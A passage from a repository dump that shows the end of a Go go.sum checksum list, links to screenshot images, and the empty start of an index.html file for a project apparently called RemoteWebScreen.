h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 99 | golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 100 | golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= 101 | golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 102 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 103 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 104 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 105 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 106 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 107 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 108 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 109 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 110 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 111 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 112 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 113 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 114 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 115 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 116 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 117 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 118 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 119 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 120 | -------------------------------------------------------------------------------- /images/image-20231124095233832.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124095233832.png -------------------------------------------------------------------------------- /images/image-20231124101333602.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124101333602.png -------------------------------------------------------------------------------- /images/image-20231124101600198.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124101600198.png -------------------------------------------------------------------------------- /images/image-20231124101731491.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/images/image-20231124101731491.png -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | 6 |